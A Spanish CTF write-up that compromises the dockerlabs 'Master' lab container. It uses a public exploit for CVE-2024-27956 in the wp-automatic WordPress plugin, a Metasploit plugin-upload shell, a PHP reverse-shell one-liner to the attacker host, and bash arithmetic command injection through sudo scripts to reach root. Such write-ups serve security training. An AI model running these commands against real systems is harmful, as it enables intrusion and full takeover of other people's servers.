murrusko

Master

01 Jul 2024

image

Estamos ante un docker que contiene una distribución Linux. Es de nivel medio y es de la plataforma dockerlabs.

Enumeración

Ponemos el docker en marcha con el auto_deploy.sh que trae el zip. Cuando termina de cargar nos indica la dirección IP de nuestra víctima, en nuestro caso es 172.17.0.2.

Empezamos realizando un escaneo de puertos con nmap. Hacemos un escaneo silencioso-sS, a todos los puertos -p-, que nos de detalles del escaneo -v, que no haga ping al host -Pn, que no haga resolución de DNS -n a nuestra máquina victima 172.17.0.2:

$ sudo nmap -sS -p- -Pn -n -v 172.17.0.2
PORT   STATE SERVICE
80/tcp open  http

Vemos que solo tiene el puerto 80 abierto. Vamos a realizar otro escaneo con nmap pero esta vez para detectar la versión del servicio que este corriendo, -sV, y para ejecutar los scripts por defecto para detectar vulnerabilidades, -sC:

$ sudo nmap -sCV -p80 -v 172.17.0.2
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: CCF3F1622BBC8760E39AAB495FD4A9B1
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Master
|_http-generator: WordPress 6.5.5
MAC Address: 02:42:AC:11:00:02 (Unknown)

Como vemos hay un wordpress 6.5.5 corriendo. Para escanear el framework usamos la herramienta wpscan, le pasamos como parametros el target con —-url, con -e u,vp,vt le indicamos que nos enumere los usuarios, los plugins vulnerables y los themes vulnerables y que busque los plugins de forma agresiva con --plugins-detection:

wpscan --url http://172.17.0.2 -e u,vp,vt --plugins-detection aggressive

...
wp-automatic
 | Location: http://172.17.0.2/wp-content/plugins/wp-automatic/
 | Latest Version: 3.98.0
 | Last Updated: 2024-06-06T01:52:56.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://172.17.0.2/wp-content/plugins/wp-automatic/, status: 200
 |
 | [!] 7 vulnerabilities identified:
 ....
 
 | [!] Title: Automatic < 3.92.1 - Unauthenticated SQL Injection
 |     Fixed in: 3.92.1
 |     References:
 |      - https://wpscan.com/vulnerability/53a51e79-a216-4ca3-ac2d-57098fd2ebb5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27956
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/a8b319be-f312-4d02-840f-e2a91c16b67a
 |
....

 User(s) Identified:

[+] mario
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://172.17.0.2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Intrusión

Como vemos es vulnerable a Unauthenticated SQL Injection con un CVE CVE-2024-2795. Descargamos el siguiente exploit de github para explotar la vulnerabilidad:

$ wget https://raw.githubusercontent.com/diego-tella/CVE-2024-27956-RCE/main/exploit.py

Lo ejecutamos y vemos que nos crea un usuario con rol de admistrador:

python exploit.py http://172.17.0.2
[+] Exploit for CVE-2024-27956
[+] Creating user eviladmin
[+] Giving eviladmin administrator permissions
[+] Exploit completed!
[+] administrator created: eviladmin:admin

Ahora para obtener una shell reverse vamos a usar Metasploit, lo abrimos con msfconsole. Después vamos a usar el exploit wp_admin_shell_upload que sirve para subir un plugin que genera para que nos de una shell reversa. En este caso voy a usar un payload para que solo me devuelva una shell y no una sesión de meterpreter. Ejecutamos set payload generic/shell_reverse_tcp :

msf6 > use exploit/unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set payload generic/shell_reverse_tcp 
payload => generic/shell_reverse_tcp

Después vemos las opciones disponibles para que funcione el exploit con options:

msf6 exploit(unix/webapp/wp_admin_shell_upload) > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Settin  Required  Description
              g
   ----       --------------  --------  -----------
   PASSWORD                   yes       The WordPress passwor
                                        d to authenticate wit
                                        h
   Proxies                    no        A proxy chain of form
                                        at type:host:port[,ty
                                        pe:host:port][...]
   RHOSTS                     yes       The target host(s), s
                                        ee https://docs.metas
                                        ploit.com/docs/using-
                                        metasploit/basics/usi
                                        ng-metasploit.html
   RPORT      80              yes       The target port (TCP)
   SSL        false           no        Negotiate SSL/TLS for
                                         outgoing connections
   TARGETURI  /               yes       The base path to the
                                        wordpress application
   USERNAME                   yes       The WordPress usernam
                                        e to authenticate wit
                                        h
   VHOST                      no        HTTP server virtual h
                                        ost

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.12     yes       The listen address (an i
                                     nterface may be specifie
                                     d)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   WordPress

En nuestro caso cambiamos el rhost, la url, el lhost, nuestra ip, username, el user recien creado, y password, su password:

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhost http://172.17.0.1
rhost => http://172.17.0.2
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set lhost docker0
lhost => 172.17.0.1
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username eviladmin
username => eviladmin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password admin
password => admin

Lo ejecutamos con exploit y obtenemos una shell como www-data:

msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Authenticating with WordPress using eviladmin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/YhxOuYmNHi/kMJyYmwgTI.php...
[+] Deleted kMJyYmwgTI.php
[+] Deleted YhxOuYmNHi.php
[+] Deleted ../YhxOuYmNHi
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:48282) at 2024-07-02 00:43:51 +0200

whoami
www-data

La shell que proporciona metasploit no me gusta mucho, por ello me voy a crear una shell con netcat. Nos ponemos a la escucha en nuestra máquina:

$ nc -nlvp 8888
listening on [any] 8888 ...

Ejecutamos el siguiente payload para que genere la shell reversa:

php -r '$sock=fsockopen("172.17.0.1",8888);exec("/bin/bash <&3 >&3 2>&3");'

Y para terminar hacemos el tratamiento de la shell para tener una TTY completa:

nc -nlvp 8888
listening on [any] 8888 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 55124
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
script /dev/null -qc /bin/bash
sh: 0: getcwd() failed: No such file or directory
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
www-data@28f7a25fdecd:$ ^Z
zsh: suspended  nc -nlvp 8888
stty raw -echo; fg
[1]  + continued  nc -nlvp 8888
ls
www-data@28f7a25fdecd:$ export TERM=xterm
www-data@28f7a25fdecd:$ reset

Ahora ya en nuestra máquina vemos con sudo -l si podríamos ejecutar algo como otro usuario:

www-data@28f7a25fdecd:$ sudo -l
Matching Defaults entries for www-data on 28f7a25fdecd:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on 28f7a25fdecd:
    (pylon) NOPASSWD: /usr/bin/php

Movimientos laterales

Podríamos ejecutar como pylon el comando php sin necesidad de contraseña. Vamos a GTFOBins y encontramos como ejecutarlo con sudo para hacer el movimiento lateral

www-data@28f7a25fdecd:$ CMD="/bin/bash"
www-data@28f7a25fdecd:$ sudo -u pylon php -r "system('$CMD');"
pylon@28f7a25fdecd:$ whoami
pylon

Ya estamos como pylon. Ahora volvemos a mirar si podemos ejecutar algo como otro usuario:

pylon@28f7a25fdecd:$ sudo -l
Matching Defaults entries for pylon on 28f7a25fdecd:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User pylon may run the following commands on 28f7a25fdecd:
    (mario) NOPASSWD: /bin/bash /home/mario/pingusorpresita.sh

Como explico Mario en este short en su canal de YouTube vamos a movernos al usuario mario usando esa técnica:

pylon@28f7a25fdecd:$ sudo -u mario /bin/bash /home/mario/pingusorpresita.sh
Escribe 1 para ver el canal del pinguino, o cualquier otro numero para acceder a la academia: a[$(whoami >&2)]+1
mario
https://www.youtube.com/@ElPinguinoDeMario

# Funciona! Ahora ejecutamos una shell en bash
pylon@28f7a25fdecd:$ sudo -u mario /bin/bash /home/mario/pingusorpresita.sh
Escribe 1 para ver el canal del pinguino, o cualquier otro numero para acceder a la academia: a[$(bash  >&2)]+1
mario@28f7a25fdecd:~$ whoami
mario

Escalada de privilegios

Una vez estamos como mario hacemos el mismo proceso para convertirnos en root.

mario@28f7a25fdecd:~$ sudo -l
Matching Defaults entries for mario on 28f7a25fdecd:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mario may run the following commands on 28f7a25fdecd:
    (root) NOPASSWD: /bin/bash /home/pylon/pylonsorpresita.sh
    
mario@28f7a25fdecd:~$ sudo /bin/bash /home/pylon/pylonsorpresit/bin/bash /home/pylon/pylonsorpresita.sh
Escribe 1 para ver el canal de pylon: a[$(bash  >&2)]+1
root@28f7a25fdecd:/home/mario# cd ~
root@28f7a25fdecd:~# hostname; whoami
28f7a25fdecd
root
root@28f7a25fdecd:~# 

Y con este terminamos la máquina.